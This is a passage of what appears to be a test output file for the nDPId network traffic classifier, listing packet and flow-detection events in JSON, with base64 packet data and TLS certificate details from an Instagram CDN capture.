MuMSMwIQYDVQQDExpHVEUgQ3liZXJUcnVzdCBHbG9iYWwgUm9vdDAeFw0xMjA0MTgxNjM2MThaFw0xODA4MTMxNjM1MTdaMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjBLsiq5g9V+gmcpq1edQp4uHolYCxsONbjispmmTfoV3tsAkFbdsoLs5iomL+tIjaEus46yGdwEErAVJ7iHfTHI\/HurmItWoJ53PoEUCn0czKYo0t5Y8LplDSqFDDKOr1qyWHipqWHKlnuD8M1ff5UhMvwhvVcHDwj8ASygbLmuHZyjN6d9b47LnxaERCSBPSwMKkrl5g\/ramBfy03QdZAtRZGJhj9aVj4JAMfV2yBnrzherr1AOuXoQ+X\/8V7Wm8+Tk2cnXPd1JN88mQLLk95ckjUz8fJJghXAeZKb3GOuznboY6a5d0YzO9aBgx8HiNdr\/8no5dKoanTZDcJxo5AgMBAAGjggFHMIIBQzASBgNVHRMBAf8ECDAGAQH\/AgEDMEoGA1UdIARDMEEwPwYEVR0gADA3MDUGCCsGAQUFBwIBFilodHRwOi8vY3liZXJ0cnVzdC5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeTAOBgNVHQ8BAf8EBAMCAQYwgYkGA1UdIwSBgTB\/oXmkdzB1MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEdsb2JhbCBSb290ggIBpTBFBgNVHR8EPjA8MDqgOKA2hjRodHRwOi8vd3d3LnB1YmxpYy10cnVzdC5jb20vY2dpLWJpbi9DUkwvMjAxOC9jZHAuY3JsMA0GCSqGSIb3DQEBBQUAA4GBAJMd\/ouuRuzLqQ+r5e\/KsmgWaNiP+hOpr7PLLedLbo5pKsIrEAqN9q5ztrn7FP1fbbhQtsSK1kB+18PLc9zJXVuvsEG1N+vq3CCRxDRq9KHzlp03hpfhcaTdffpEhJSu1wkEInYPZFE1qSQP+QvbMtrC\/sG5Klx6JxPKsUg6cdBDFgMBAUsMAAFHAwAXQQQIXoSOSFZW8unPAYwUWxMSzEbBSIgHYsapWTXry0xfJIgf0rMt\/ATR2am5iIExw\/cQm0yJ198rvVD118Vo2uG9AQDFPhhg6zhK5qPnbZo1zAs7weWsJSjuXB4ihjLFQ49JMXs24OWZr2aCoDzd8RjwIEZbn8N\/GUW3yyF\/UYuU4GnxQqlwPoFLdXY3okcMkv+41czbgiBWSC8V0VmVEL1v"} +01227{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":402,"source":"instagram.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":10,"flow_first_seen":1436720908576,"flow_last_seen":1436720908661,"flow_tot_l4_data_len":4658,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":465,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41181,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-a-a.akamaihd.net","server_names":"a248.e.akamai.net,*.akamaihd.net,*.akamaihd-staging.net,*.akamaized.net,*.akamaized-staging.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"34d6f0ad0a79e4cfdf145e640cc93f78","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=NL, L=Amsterdam, O=Verizon Enterprise Solutions, OU=Cybertrust, CN=Verizon Akamai SureServer CA G14-SHA1","issuerDN":"C=US, ST=MA, L=Cambridge, O=Akamai Technologies Inc., CN=a248.e.akamai.net","fingerprint":"EA:5A:20:95:78:D7:09:60:5C:A1:E4:CA:A5:2B:BD:C1:78:FB:23:23"}} +00428{"flow_id":22,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":661958,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0nwpAAEAGbbvAqABnUlUamqDdAbvgTnJmA9rFZ4AQAWwuJQAAAQEICgAD7o9UeSUx"} +00661{"flow_id":22,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":662568,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"QPMIw47hABsv8H60CABFAADfkFFAADkGgslSVRqawKgAZwG7oN0D2sVn4E5yZoAYAeZypwAAAQEIClR5JTEAA+6KhsQiwLeeuOF2Z7LxHmzYA3nlcKy7XAtNGWLkeAGLtHOKGL0jDW7S5oGEYJgH3WQ1WFfVEewvE6nCamh5eUjP0YtfQZkD1\/x4jPtnMJXki9fNSh2m3rZn0KJ+6Ak9oK8JiBwt\/XAN2Zk9Wfl3RvszQ0HLTicNdjU7IEuBMTT+Gc8tvjtkZVCVQaMp3f7oKFKuuIuB0MGZe5sRI54HdpoyRuzVFgMBAAQOAAAA"} +00428{"flow_id":22,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":662660,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0nwtAAEAGbbrAqABnUlUamqDdAbvgTnJmA9rGEoAQAZkuJQAAAQEICgAD7o9UeSUx"} +00427{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":663240,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"QPMIw47hABsv8H60CABFAAA0MTFAADkG4pRSVRqawKgAZwG7oN5hmBQa4jr4AIAQAebsFwAAAQEIClR5JTEAA+6L"} +02332{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":663820,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+MTJAADkG3QlSVRqawKgAZwG7oN5hmBQa4jr4AIAQAeZ97AAAAQEIClR5JTQAA+6LFgMBADwCAAA4AwFVop8Mnoiq1cnvrDWtfxgf4NgXRtQJ6CZUM5obf8x\/SADAFAAAEAAAAAAACwAEAwABAgAjAAAWAwEPDAsADwgADwUABcAwggW8MIIEpKADAgECAhQDvzrvL6J8lrjKj7lZzTMsnVARODANBgkqhkiG9w0BAQUFADCBjTELMAkGA1UEBhMCTkwxEjAQBgNVBAcTCUFtc3RlcmRhbTElMCMGA1UEChMcVmVyaXpvbiBFbnRlcnByaXNlIFNvbHV0aW9uczETMBEGA1UECxMKQ3liZXJ0cnVzdDEuMCwGA1UEAxMlVmVyaXpvbiBBa2FtYWkgU3VyZVNlcnZlciBDQSBHMTQtU0hBMTAeFw0xNTA2MTkxNjUyMDdaFw0xNjA2MTkxNjUyMDVaMG0xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJNQTESMBAGA1UEBxMJQ2FtYnJpZGdlMSEwHwYDVQQKExhBa2FtYWkgVGVjaG5vbG9naWVzIEluYy4xGjAYBgNVBAMTEWEyNDguZS5ha2FtYWkubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2aLEkOCQxkE0nfPVlfraw4G75O4JEeSlRW1zKhn5OiCejRRPF7ha04I80NXzpLA\/tzpstXo66tMUibKsHLYIbVtB8oSIpx86xKeq8BolyxN4B3v7BC9fc17tGdJU7Peb7OkU88pTRhVUiOQfvI8YxMU1ycyxtn6L7yF1rVXpUgiMR9xIoMePtrmHwmxFPiBjj1Fi5Deam4+Aue4XAh05FsmKa2n86yrVmRetbT\/bKRPBfUurOVaNWUO7f4FxfiiKmog7COy88Nhe6EsJTSdmB7kg3i+QgczeqMi7d8Ymw17IODXgorClqRQIGdTIXnMhC63ChKRXycZZACQbVGFPKwIDAQABo4ICMTCCAi0wDAYDVR0TAQH\/BAIwADBMBgNVHSAERTBDMEEGCSsGAQQBsT4BMjA0MDIGCCsGAQUFBwIBFiZodHRwczovL3NlY3VyZS5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeTCBrwYIKwYBBQUHAQEEgaIwgZ8wLQYIKwYBBQUHMAGGIWh0dHA6Ly92YXNzZzE0MS5vY3NwLm9tbmlyb290LmNvbTA2BggrBgEFBQcwAoYqaHR0cHM6Ly9jYWNlcnQuYS5vbW5pcm9vdC5jb20vdmFzc2cxNDEuY3J0MDYGCCsGAQUFBzAChipodHRwczovL2NhY2VydC5hLm9tbmlyb290LmNvbS92YXNzZzE0MS5kZXIwbgYDVR0RBGcwZYIRYTI0OC5lLmFrYW1haS5uZXSCDiouYWthbWFpaGQubmV0ghYqLmFrYW1haWhkLXN0YWdpbmcubmV0gg8qLmFrYW1haXplZC5uZXSCFyouYWthbWFpemVkLXN0YWdpbmcubmV0MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwHwYDVR0jBBgwFoAU3WyAfLq1MhelhEFA8NIEZhMvqZAwPgYDVR0fBDcwNTAzoDGgL4YtaHR0cDovL3Zhc3NnMTQxLmNybC5vbW5pcm9vdC5jb20vdmFzc2cxNDEuY3JsMB0GA1UdDgQWBBQDtkqcgAxgGIgKZM2uKGKKemzAGDANBgkqhkiG9w0BAQUFAAOCAQEAHGTOw3ZNjCn8dtE8JINXjj53IQ7Wg\/FCuS4hnRSWwVNJ6BYgU0Dy5QG33wEHd0lt6lMQyQAFD7vIIR04nAd4nAqt4ZGRi5X5qOQCZOIVC6l\/E7gDrpXFRUcz+2XdMLxszJa7w7xSd3QDhqud3BZvBEm5n488th5bl+k="} +00829{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":407,"source":"instagram.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":6,"flow_first_seen":1436720908577,"flow_last_seen":1436720908663,"flow_tot_l4_data_len":1852,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41182,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-a-a.akamaihd.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"34d6f0ad0a79e4cfdf145e640cc93f78","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"}} +00427{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":663911,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0GZ5AAEAG8yfAqABnUlUamqDeAbviOvgAYZgZpIAQARIuJQAAAQEICgAD7o9UeSU0"} +02337{"flow_id":23,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":664400,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"QPMIw47hABsv8H60CABFAAW+MTNAADkG3QhSVRqawKgAZwG7oN5hmBmk4jr4AIAQAeYKSQAAAQEIClR5JTQAA+6L8Y7pulnadtR8pnrOL17YZmIG\/8EYYPitHjHTuu4GsnUaDwVqqWF6J+umvfd8Bccsu\/3\/LR60tbSpz5FbDp7j3pT6lbaZJr7lfCcD6biW+hdrheke7dTjQZ\/bvol27eiGhcGGHSkrF9EsC88HzYpSiZPhcnnFMX3x+jTO2TeUUAtxx0nIassABSMwggUfMIIEB6ADAgECAgQHJ6RqMA0GCSqGSIb3DQEBBQUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTQwNDAyMTQzMjQ1WhcNMjEwNDAyMTQzMTM5WjCBjTELMAkGA1UEBhMCTkwxEjAQBgNVBAcTCUFtc3RlcmRhbTElMCMGA1UEChMcVmVyaXpvbiBFbnRlcnByaXNlIFNvbHV0aW9uczETMBEGA1UECxMKQ3liZXJ0cnVzdDEuMCwGA1UEAxMlVmVyaXpvbiBBa2FtYWkgU3VyZVNlcnZlciBDQSBHMTQtU0hBMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJHrLTWbDGRsyost1Tm2M7T8SQoWeNeoPTcQAnbb19tPnFZLoWm0Sy1K40P2bxYIte90RY90VhYrFaUWTH1vCpm0IOeKe5xG6a4x+xNP8JcWYeO6K6Uk2NxLlsG+06u\/ZthEJvkWlu2cNizfKTQqtT0T0rFBLVOTy7V0KAb0Y41e3rKoG9d9TyRmM+3GirCEbsYJWpYoBozkUcuhxUu730Q\/ClrDVhGL9TyV2wl71jSIUaL9S6pJFHepsSSrJU9inLn5yQctEMhwtxixVjIdP6mCUqewsmEkal+MdPYseCwgWXALds78UK1S65yiRTaai4EbTf9MdpveKez1veYIXusCAwEAAaOCAbcwggGzMBIGA1UdEwEB\/wQIMAYBAf8CAQIwTAYDVR0gBEUwQzBBBgkrBgEEAbE+ATIwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly9zZWN1cmUub21uaXJvb3QuY29tL3JlcG9zaXRvcnkwgboGCCsGAQUFBwEBBIGtMIGqMDIGCCsGAQUFBzABhiZodHRwOi8vb2NzcC5vbW5pcm9vdC5jb20vYmFsdGltb3Jlcm9vdDA5BggrBgEFBQcwAoYtaHR0cHM6Ly9jYWNlcnQub21uaXJvb3QuY29tL2JhbHRpbW9yZXJvb3QuY3J0MDkGCCsGAQUFBzAChi1odHRwczovL2NhY2VydC5vbW5pcm9vdC5jb20vYmFsdGltb3Jlcm9vdC5kZXIwDgYDVR0PAQH\/BAQDAgHGMB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMEIGA1UdHwQ7MDkwN6A1oDOGMWh0dHA6Ly9jZHAxLnB1YmxpYy10cnVzdC5jb20vQ1JML09tbmlyb290MjAyNS5jcmwwHQYDVR0OBBYEFN1sgHy6tTIXpYRBQPDSBGYTL6mQMA0GCSqGSIb3DQEBBQUAA4IBAQBYQSL\/TUJVrsgGh0U\/i1nTBzmasqCRgdIMwWdPT3EoWpAcaTqa9pvACPRaIolV32+vRbiiE3kYtarTwv7LcHOFJVvVzG8GkKnYr3aOdAdQgxBNHXkwltnpAh\/jIdbs0jwwLLVTyRKn8sNj7var++B7hf2E1ltXUDj00xkpPhHwZkDkn8G78GzibyQ+pms3IfUnu6cCIrn8Q9rtEw\/ngzZVkXoAHNb4GWw6D0Rzk5XKAdbmX4VHGid+BRI0nUjNlwSEOnX6dhSYXahpa9n27dHGyh8dw2KpxfAxTTNviyY="} +00427{"flow_id":23,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":664461,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0GZ9AAEAG8ybAqABnUlUamqDeAbviOvgAYZgfLoAQAT8uJQAAAQEICgAD7o9UeSU0"} +02131{"flow_id":23,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":665864,"pkt_caplen":1326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1326,"pkt_l4_len":1292,"pkt":"QPMIw47hABsv8H60CABFAAUgMTRAADkG3aVSVRqawKgAZwG7oN5hmB8u4jr4AIAYAeYyHwAAAQEIClR5JTQAA+6LkUtADfHn0Kc7j6cynd6dqXEQ3\/RHTMctqSE0jukLbznxyQAEGTCCBBUwggN+oAMCAQICBAcnju0wDQYJKoZIhvcNAQEFBQAwdTELMAkGA1UEBhMCVVMxGDAWBgNVBAoTD0dURSBDb3Jwb3JhdGlvbjEnMCUGA1UECxMeR1RFIEN5YmVyVHJ1c3QgU29sdXRpb25zLCBJbmMuMSMwIQYDVQQDExpHVEUgQ3liZXJUcnVzdCBHbG9iYWwgUm9vdDAeFw0xMjA0MTgxNjM2MThaFw0xODA4MTMxNjM1MTdaMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCjBLsiq5g9V+gmcpq1edQp4uHolYCxsONbjispmmTfoV3tsAkFbdsoLs5iomL+tIjaEus46yGdwEErAVJ7iHfTHI\/HurmItWoJ53PoEUCn0czKYo0t5Y8LplDSqFDDKOr1qyWHipqWHKlnuD8M1ff5UhMvwhvVcHDwj8ASygbLmuHZyjN6d9b47LnxaERCSBPSwMKkrl5g\/ramBfy03QdZAtRZGJhj9aVj4JAMfV2yBnrzherr1AOuXoQ+X\/8V7Wm8+Tk2cnXPd1JN88mQLLk95ckjUz8fJJghXAeZKb3GOuznboY6a5d0YzO9aBgx8HiNdr\/8no5dKoanTZDcJxo5AgMBAAGjggFHMIIBQzASBgNVHRMBAf8ECDAGAQH\/AgEDMEoGA1UdIARDMEEwPwYEVR0gADA3MDUGCCsGAQUFBwIBFilodHRwOi8vY3liZXJ0cnVzdC5vbW5pcm9vdC5jb20vcmVwb3NpdG9yeTAOBgNVHQ8BAf8EBAMCAQYwgYkGA1UdIwSBgTB\/oXmkdzB1MQswCQYDVQQGEwJVUzEYMBYGA1UEChMPR1RFIENvcnBvcmF0aW9uMScwJQYDVQQLEx5HVEUgQ3liZXJUcnVzdCBTb2x1dGlvbnMsIEluYy4xIzAhBgNVBAMTGkdURSBDeWJlclRydXN0IEdsb2JhbCBSb290ggIBpTBFBgNVHR8EPjA8MDqgOKA2hjRodHRwOi8vd3d3LnB1YmxpYy10cnVzdC5jb20vY2dpLWJpbi9DUkwvMjAxOC9jZHAuY3JsMA0GCSqGSIb3DQEBBQUAA4GBAJMd\/ouuRuzLqQ+r5e\/KsmgWaNiP+hOpr7PLLedLbo5pKsIrEAqN9q5ztrn7FP1fbbhQtsSK1kB+18PLc9zJXVuvsEG1N+vq3CCRxDRq9KHzlp03hpfhcaTdffpEhJSu1wkEInYPZFE1qSQP+QvbMtrC\/sG5Klx6JxPKsUg6cdBDFgMBAUsMAAFHAwAXQQQIXoSOSFZW8unPAYwUWxMSzEbBSIgHYsapWTXry0xfJIgf0rMt\/ATR2am5iIExw\/cQm0yJ198rvVD118Vo2uG9AQCP7394WatLKL6uiulyfsLeeLEvxSI\/pS2Vy6WHBnDIlqipwCWuNQsLQPQMlTF5kNYvdIby7G7EIm\/DXDnA5ZyCJyEa\/47lD15hjT\/svpk\/tZMEOwiTwlauYNyOxfoC"} +01227{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":411,"source":"instagram.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":10,"flow_first_seen":1436720908577,"flow_last_seen":1436720908665,"flow_tot_l4_data_len":4658,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":465,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.103","dst_ip":"82.85.26.154","src_port":41182,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Instagram","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1","client_requested_server_name":"igcdn-photos-a-a.akamaihd.net","server_names":"a248.e.akamai.net,*.akamaihd.net,*.akamaihd-staging.net,*.akamaized.net,*.akamaized-staging.net","ja3":"54ae5fcb0159e2ddf6a50e149221c7c7","ja3s":"34d6f0ad0a79e4cfdf145e640cc93f78","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=NL, L=Amsterdam, O=Verizon Enterprise Solutions, OU=Cybertrust, CN=Verizon Akamai SureServer CA G14-SHA1","issuerDN":"C=US, ST=MA, L=Cambridge, O=Akamai Technologies Inc., CN=a248.e.akamai.net","fingerprint":"EA:5A:20:95:78:D7:09:60:5C:A1:E4:CA:A5:2B:BD:C1:78:FB:23:23"}} +00428{"flow_id":23,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":665925,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0GaBAAEAG8yXAqABnUlUamqDeAbviOvgAYZgkGoAQAWwuJQAAAQEICgAD7o9UeSU0"} +00664{"flow_id":23,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":665956,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"QPMIw47hABsv8H60CABFAADfMTVAADkG4eVSVRqawKgAZwG7oN5hmCQa4jr4AIAYAeZ25wAAAQEIClR5JTQAA+6LVZJZEf6qm6QysDIqa91QGyxXK7TIE5ZXmcrbgWPn7mmMIVywT8rdys42m+KuO7Vo0WEGwp2Lt6uQUUmfrXlamZzgiDEEzGhSHNw7QPJ7zZXXYoEQexwPFCcVcuOmAqSH3ahj6nX5xk6nb0VPAAB9NQ\/wSrA1fzM\/lOZ5bY2UOh6oUhbTM1lpo5cw8MIWAIo\/oZ0B+F4ZqR\/e0MGjFc\/lkrBUFgMBAAQOAAAA"} +00428{"flow_id":23,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":666017,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABsv8H60QPMIw47hCABFAAA0GaFAAEAG8yTAqABnUlUamqDeAbviOvgAYZgkxYAQAZkuJQAAAQEICgAD7o9UeSU0"} +00614{"flow_id":24,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":415,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":692323,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"ABsv8H60QPMIw47hCABFAAC6pv9AAEAGXYbAqABnLiFGiO3sAbtrdUmC0Xyj2oAYAZll5gAAAQEICgAD7pLOjo11FgMBAEYQAABCQQQNrcwOPpvyB2RqwohSVCfJkYWZyp\/y\/Fv5VDaQoiTuoX78TZkglEkiaamcDiFpdBhqFJL87BanZLJx6vovMQqSFAMBAAEBFgMBADBw66UeoH1d7B6dbnEV7KrPi7S3D4k0iZ9yv1fbaGnl2F47dyqq\/mEFpTjgnGgrLSk="} +00613{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":416,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":718110,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"ABsv8H60QPMIw47hCABFAAC6iEFAAEAGfB7AqABnLiFGrq4OAbuyG2h\/5awJd4AYAZlicQAAAQEICgAD7pSuiQrcFgMBAEYQAABCQQT4lbEv2t9NaU1uug1bQRj9hYrVZWIyVJPsDfHcjnGCadATPgBs3U+4DFzH\/TkvKtmRBNPcCeoGLyjkT8tj7AtoFAMBAAEBFgMBADClNUJVXlESWPmmp6bmzEKv6Qi8Cfj60BkiiazSLbq9XSxtunbocebFbfdGYklTgP4="} +00478{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":719331,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AAAAAAAAAAAAAAAACABFwABYvRgAAEABOq7AqABnwKgAZwMDAwcAAAAARQAAPLKEQABABvFRwKgAZ63CKBTA\/QG7ZKZcEQAAAACgAjkIlxQAAAIEBbQEAggKAAPulQAAAAABAwMG"} +00478{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":719331,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AAAAAAAAAAAAAAAACABFwABYvRgAAEABOq7AqABnwKgAZwMDAwcAAAAARQAAPLKEQABABvFRwKgAZ63CKBTA\/QG7ZKZcEQAAAACgAjkIlxQAAAIEBbQEAggKAAPulQAAAAABAwMG"} +02324{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"instagram.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1436720908,"pkt_ts_usec":720674,"pkt_caplen":1464,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1464,"pkt_l4_len":1430,"pkt":"QPMIw47hABsv8H60CABFAAWqkOBAAFUGUh0fDV00wKgAZwG7g+MQ445PobbjVYAQANmoZAAAAQEICvAgso0AA+57FwMBBgAJWuxAFmWJOuMXXLFPa+ihsePS3XMy0YIQztBBVmLMKv7bKksLnHy6Qejj3IofgvBbzBtV3GqDkMg6uh0P6N7FwcSe3tUjgcGiijvn6K818Zp8xqjp0tEb5pWvqXYqObddd2Hnzu6vQfWb9eTm5eWBjMWaH+46WOkF+yLDu28OnCnI6DRA4hVUhPFmv3Y3Jc5EGy9h1liFAXpPz8RauF02nsY9w0LD3TtF0JwByoPONdeUPZq\/WKka9SPqVUAIaUqD+iiuPiB4iY\/P40454jR2ubUAx1KxalPDxCZcJOVc\/mRFMjjylf886\/qgnF5\/zNdIB+osc8LQ7+njijbpW6+nsd1r20QxY5h4iboPc5bOwlwaY54bOkKhUi3rW\/yK+SdRmOIbvY6QnNs\/NHnLztmSVepcsVQj4\/LAs3sQee2yV5Zb\/OKdnbNcoVz0fzHzanGF+shxmnBL7MHCUWI6dyfgrtdeHJw7AeiUY3i\/mTZNsE8HDXYtj4PZmBRSpw9Tn6yrOi8oCWZlu5KzIRGzRJtFphUHZ6meh5JLg+hn5njKZANgsGVL5D4VIgoF1kaCOaYkGXgkZUN4f977LcfvI6GMq+I5puCewiP+Uuk1kPF9pzskRav04M10TqsDM7GhlmoPVQK4OBUJ9tHagFf6IatPi0\/17iyM\/LjiFML0PoAxBFfvl5DWDm64B7S6wNuZznilyLl+dRCTX+DG4I